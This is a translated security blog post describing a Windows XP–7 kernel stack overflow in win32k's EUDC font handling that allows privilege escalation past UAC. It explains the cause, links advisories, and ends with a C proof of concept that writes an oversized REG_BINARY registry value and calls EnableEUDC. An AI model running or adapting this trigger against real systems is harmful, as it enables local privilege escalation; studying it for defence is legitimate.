📜 ⬆️ ⬇️

New vulnerability allows elevating privileges in Win7 / Vista bypassing UAC

An interesting vulnerability for raising local privileges to the system level appeared on November 24 as an article on The Code Project (http://www.codeproject.com/KB/vista-security/uac.aspx). Just a few hours later it was removed from this resource, but the information has already spread across the network and in my opinion it was pointless to delete it. Privileges can be increased on systems ranging from XP to Vista / Win7, with server versions also being hit. And what is even more interesting, vulnerability is relevant, both on x86 systems and x64. True, the presented PoC code was successfully launched only on x86 systems.




This is due to insufficient control of the WinAPI RtlQueryRegistryValues() function parameters:
')
NTSTATUS RtlQueryRegistryValues(
__in ULONG RelativeTo,
__in PCWSTR Path,
__inout PRTL_QUERY_REGISTRY_TABLE QueryTable,
__in_opt PVOID Context,
__in_opt PVOID Environment
);


This function is used to get several registry parameters at once and at the output fills the _RTL_QUERY_REGISTRY_TABLE structure with the results.

typedef struct _RTL_QUERY_REGISTRY_TABLE {
PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine;
ULONG Flags;
PWSTR Name;
PVOID EntryContext;
ULONG DefaultType;
PVOID DefaultData;
ULONG DefaultLength;
} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE;


In the EntryContext field, from this structure, the type of output buffer is defined, and here there is an interesting nuance, the buffer can be interpreted as a UNICODE_STRING structure or as a buffer from ULONG values.

typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;


By filling this buffer is determined by the type of registry key to which the request was made. Everything would be fine, but the HKCU\EUDC\[Language]\SystemDefaultEUDCFon t registry key was found, which can only be accessed with user rights and changed its type to REG_BINARY by calling the Win32k.sys->NtGdiEnableEudc() function. During the operation of this function, it is assumed that the registry value REG_SZ and the buffer are placed on the stack, as is the UNICODE_STRING structure from which the first ULONG value interprets the buffer length, but if the registry value is represented as REG_BINARY , then a classic stack overflow occurs.



Taking into account all these nuances, PoC (by noobpwnftw) was developed, which generates in the registry the value that overwrites the return address on the stack and executes an arbitrary buffer with code in kernel mode.

A detailed description of the vulnerability is here.

http://www.kb.cert.org/vuls/id/529673
http://secunia.com/advisories/42356

Alternative PoC from d_olex ( original ):
#define EUDC_FONT_VAL "SystemDefaultEUDCFont"

int _tmain( int argc, _TCHAR* argv[])
{
HKEY hKey;
char szKeyName[MAX_PATH], Buff[0x600];

sprintf_s(szKeyName, MAX_PATH, "EUDC\\%d" , GetACP());

//
LONG Code = RegCreateKey(HKEY_CURRENT_USER, szKeyName, &hKey);
if (Code != ERROR_SUCCESS)
{
printf( "ERROR: RegCreateKey() fails with status %d\n" , Code);
return -1;
}

//
RegDeleteValue(hKey, EUDC_FONT_VAL);

// "SystemDefaultEUDCFont" REG_BINARY
FillMemory(Buff, sizeof (Buff), 'A' );
Code = RegSetValueEx(hKey, EUDC_FONT_VAL, 0, REG_BINARY, Buff, 0x600);

RegCloseKey(hKey);

if (Code != ERROR_SUCCESS)
{
printf( "ERROR: RegSetValueEx() fails with status %d\n" , Code);
return -1;
}

//
EnableEUDC(TRUE);

return 0;
}

Source: https://habr.com/ru/post/108903/


All Articles